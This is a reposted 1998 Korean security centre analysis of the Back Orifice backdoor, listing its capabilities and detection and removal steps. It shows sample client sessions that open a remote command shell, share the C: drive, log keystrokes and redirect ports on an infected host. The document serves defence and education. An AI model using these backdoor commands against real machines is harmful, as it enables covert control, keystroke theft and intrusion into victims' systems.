강좌
클라우드/리눅스에 관한 강좌입니다.
리눅스 분류

Back Orifice 분석 보고서

작성자 정보

  • 웹관리자 작성
  • 작성일

컨텐츠 정보

본문

Back Orifice 분석 보고서

1998. 8

신 훈/CERTCC-KR, 한국정보보호센터

kadosu@{certcc, kisa}.or.kr

1.개요

Back Orifice는 CDC(Cult of the Dead Cow)라는 해킹그룹의 Sir Dystic이 만든 MS WIN 95/98 관리자용 도구며 이 프로그램은 '98 8.1 세계적인 해커 회의인 DEFCON으로 널리알려지게 되었다. 하지만 이 프로그램은 사실 해커들이 백도어로 이용하기에 적합하도록 개발된 것으로 보인다. 본고에서는 실제 이 프로그램의 동작과정과 이에 대한 대책을 알아보기로 한다.

2.Back Orifice의 기능 및 특징

클라이언트/서버 모델로 설계되었으며 원격 공격자는 해당 Back Orifice 백도어 서버를 공격대상 시스템에 설치해야 하고 공격자 호스트에 클라이언트 프로그램을 설치해야한다. 설치는 자동적으로이루어지며 초보자도 쉽게 설치가능하도록 되어있다.

Back Orifice 백도어 서버는 자체적으로 다음과 같은 주요기능을 가진다.
  • HTTP 서버의 기능
  • 패킷 스니퍼링 기능
  • 키보드 모니터링 기능
  • 연결재지정(connection redirect) 기능
  • 원격 응용프로그램 실행기능
  • 서버/클라이언트간에 암호화 통신 기능

클라이언트측에서는 서버의 이러한 기능을 이용하여 파일시스템의 모든 파일들에대하여 접근이 가능하고, 프로세스의 생성/삭제도 원격조정된다. 그리고 시스템 패스워드 유출, 키보드 모니터링, 사용자의 현재화면캡쳐도 가능하고 네트워크자원의 공유지정, 네트워크접속 재지정, 파일조작, 레지스트리조작도 가능하다. 이외에도 여러 가지 기능을 이용하여 원격사용자는 마치 자신의 시스템처럼 사용할 수 있다. 클라이언트는 유닉스용과 일반 윈도우용이 있으며 명령행실행방식과 GUI를 이용한 실행방식을 모두 제공한다.
또한 서버가 새로 버전업되었을 경우 원격지에서 업로드하여 업그래이드될 수 있는 재설치구조를 가지고 있다. 그리고 플러그인 구조를 채택하여 세계각지에서 만들어진 플러그인을 추가시켜 수행시킬 수 있는 기능도 포함하고 있다.

3.Back Orifice의 탐지 및 제거

공격자는 Back Orifice 설치시 파일이름이나 통신에 사용되는 포트번호를 바꿀수 있도록 하여 최대한 일반사용자들은 탐지하기 힘들게끔 만들어 놓았다. 이 프로그램은 기본값으로 설치될 때 " .exe"라는 이름과 31337포트를 이용하여 설치된다. 그리고 이 프로그램은 설치 및 사용시 여러 흔적을 남기므로 이를 이용하여 다음과 같이 대책을 정리할 수 있다.

  • 31337 포트를 모니터링할수 있으나 공격자가 포트를 바꿀 경우에는 탐지할 수 없다. 허가된 포트만 허용하는 침입차단시스템을 이용하면 해당 접속을 막을 수 있다.
  • 설치시 c:windowssystem 아래에 windll.dll 이란 이름의 파일을 생성한다. 공격자가 파일명을 조작할 수도 있으므로 8,192 바이트크기의 파일을 점검한다.
  • 설치시 c:windowssystem 아래에 " .exe" 이름의 파일을 생성한다. 공격자가 파일명을 조작할 수도 있으므로 약 122K크기의 파일을 점검한다.
  • netstat 명령으로 외부에서 UDP 포트로의 접속을 점검하여 백도어가 있다고 판단한다.
  • HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows CurrentVersionRunServicesDefault의 값을 regedit 명령으로 확인하여 Blank가 아니고 특정값이 들어있으면 백도어가 있다고 판단하여 해당 값을 변경시킨후 시스템을 재부팅 시킨다.

4.Back Orifice의 실행화면예 (text based)

가) 각종 명령어가 나와있는 도움말 화면
BO:123.234.345.9>help

Back Orifice Client v1.21 help: (Type help command for more help)

BO commands:

host ping pinglist status passwd quit sweep sweeplist

File commands:

dir del copy ren find freeze melt view tcpsend tcprecv

Directory commands:

cd rd md

System commands:

info passes dialog keylog reboot httpon httpoff lockup

Network commands:

netview netconnect netdisconnect netlist resolve sharelist shareadd sharedel

Plugin commands:

pluginexec pluginkill pluginlist

Process commands:

proclist prockill procspawn

Registry commands:

regmakekey regdelkey regdelval reglistkeys reglistvals regsetval

Multimedia commands:

listcaps capframe capavi capscreen sound

Redir commands:

redirlist rediradd redirdel

Console application commands:

applist appadd appdel


나) appadd명령을 이용하여 command.com을 원격지에서 수행
BO:123.234.345.9>

BO:123.234.345.9>appadd command.com 23

------- Packet received from 123.234.345.9 port 31337 -------

App 0:'command.com' spawned on port 23

------- End of data -------

BO:123.234.345.9>

==============================================

other# telnet 123.234.345.9

Trying 123.234.345.9...

Connected to 123.234.345.9.

Escape character is '^]'.

l

Microsoft Windows 95

(C)Copyright Microsoft Corp 1981-1995.

s

C:해킹>C


다) 디렉토리 생성과 목록보기, 그리고 삭제
:123.234.345.9>md test

------- Packet received from 123.234.345.9 port 31337 -------

Directory 'c: est' created successfully

------- End of data -------

BO:123.234.345.9>dir test

------- Packet received from 123.234.345.9 port 31337 -------

Contents of directory 'c: est*':

54790 -A----- 03-15-98 18:24 TEST2000.EXE

15882 -A----- 03-15-98 20:17 TEST2000.TXT

193 -A----- 04-22-98 15:11 TEST2000.TST

TEST 0 D------ 08-17-98 14:52 test

Total files: 4

------- End of data -------

BO:123.234.345.9>rd test

------- Packet received from 123.234.345.9 port 31337 -------

Directory '.. est' removed successfully

------- End of data -------

BO:123.234.345.9>


라) 공유자원의 열람, 추가
BO:123.234.345.9>sharelist

------- Packet received from 123.234.345.9 port 31337 -------

Shares as returned by system:

'GTEDIT'-C:GTEDIT '' RO:'' RW:'' Disk PERSISTANT READONLY

'ADMIN$'-C:WINDOWS '' RO:'' RW:'GLASS' Disk PERSISTANT SYSTEM FULL

'IPC$'- '원격 프로세스간 통신' RO:'' RW:'' IPC FULL

End of shares

------- End of data -------

BO:123.234.345.9>shareadd hoon c:

------- Packet received from 123.234.345.9 port 31337 -------

Exported C: as 'hoon' with password '' and remark ''

------- End of data -------

BO:123.234.345.9>sharelist

------- Packet received from 123.234.345.9 port 31337 -------

Shares as returned by system:

'HOON'-C: '' RO:'' RW:'' Disk PERSISTANT SYSTEM FULL

'GTEDIT'-C:GTEDIT '' RO:'' RW:'' Disk PERSISTANT READONLY

'ADMIN$'-C:WINDOWS '' RO:'' RW:'GLASS' Disk PERSISTANT SYSTEM FULL

'IPC$'- '원격 프로세스간 통신' RO:'' RW:'' IPC FULL

End of shares


마) 키보드 모니터링 시작과 종료
BO:123.234.345.9>keylog test

------- Packet received from 123.234.345.9 port 31337 -------

:123.234.345.9>view test.txt

------- Packet received from 123.234.345.9 port 31337 -------

Contents of c: est.txt (245 bytes):

->["chollian.net - 새롬 데이타맨 프로 3.72 베타"]

[RETURN]x[RETURN][RETURN]kisart[RETURN]dng[BACK]ffmdeh[RETURN][RETURN][RETURN]

- End of file -

------- End of data -------

Logging keys

------- End of data -------

BO:123.234.345.9>keylog stop

------- Packet received from 123.234.345.9 port 31337 -------

Logging ended


바) 프로세스 목록보기와 원격 프로세스생성
BO:123.234.345.9>proclist

------- Packet received from 123.234.345.9 port 31337 -------

pid - Executable

4291794163 C:WINDOWSSYSTEMKERNEL32.DLL

4294955099 C:WINDOWSSYSTEMMSGSRV32.EXE

4294957991 C:WINDOWSSYSTEMSPOOL32.EXE

4294862043 C:WINDOWSSYSTEMMPREXE.EXE

4294893539 C:WINDOWSEXPLORER.EXE

4294890475 C:HNCNSHOOKM.EXE

4293986659 C:REALPLAYERREALPLAY.EXE

4293984943 C:WINDOWSSYSTEMHPJETDSC.EXE

4294027919 C:PROGRAM FILESMICROSOFT OFFICEOFFICEOSA.EXE

4293997107 C:WINDOWSSYSTEMwnlssub.exe

4294952475 C:PROGRAM FILESNETSCAPECOMMUNICATORPROGRAMNSNOTIFY.EXE

4294128355 C:WINDOWSSYSTEMREDIR32.EXE

4294128631 C:WINDOWSSYSTEMWINOA386.MOD

4294055079 C:WINDOWSSYSTEMREDIR32.EXE

4294054639 C:WINDOWSSYSTEMWINOA386.MOD

4294436043 C:WINDOWSSYSTEM .EXE

4294046803 C:PROGRAM FILESNETSCAPECOMMUNICATORPROGRAMNETSCAPE.EXE

End of processes

------- End of data -------

BO:123.234.345.9>procspawn C:HNCHWPW.EXE

------- Packet received from 123.234.345.9 port 31337 -------

'C:HNCHWPW.EXE ' spawned successfully as process 4291374859


사) 접속재지정과 접속재지정 목록보기
:123.234.345.9>rediradd 23 123.234.345.15

------- Packet received from 123.234.345.9 port 31337 -------

Redir 0 is directing port 23 to 123.234.345.13:23

------- End of data -------

BO:123.234.345.9>redirlist

------- Packet received from 123.234.345.9 port 31337 -------

Redirected ports:

0:port 23:TCP->123.234.345.13:23

1 redirs displayed

------- End of data -------

BO:123.234.345.9>


아) 백도어서버호스트에 메시지보내기
BO:123.234.345.9>dialog HI! test

------- Packet received from 123.234.345.9 port 31337 -------

Dialog box displayed.

[Lost 6 packets?]

------- End of data -------


자) HTTP를 이용한 자료접근
BO:123.234.345.9>httpon 80

------- Packet received from 123.234.345.9 port 31337 -------

HTTP server listening on port 80

------- End of data -------

BO:123.234.345.9>


 

[참고문헌]

  1. ISS Security Alert Advisory, '98.8.6
  2. MS Security Bulletin MS98-010 '98.8.4
  3. REACT Security Advisory '98.8.3
  4. CDC Back Orifice v1.20 README '98.7.30

관련자료

댓글 0
등록된 댓글이 없습니다.

공지사항


뉴스광장


  • 현재 회원수 :  60,074 명
  • 현재 강좌수 :  35,995 개
  • 현재 접속자 :  523 명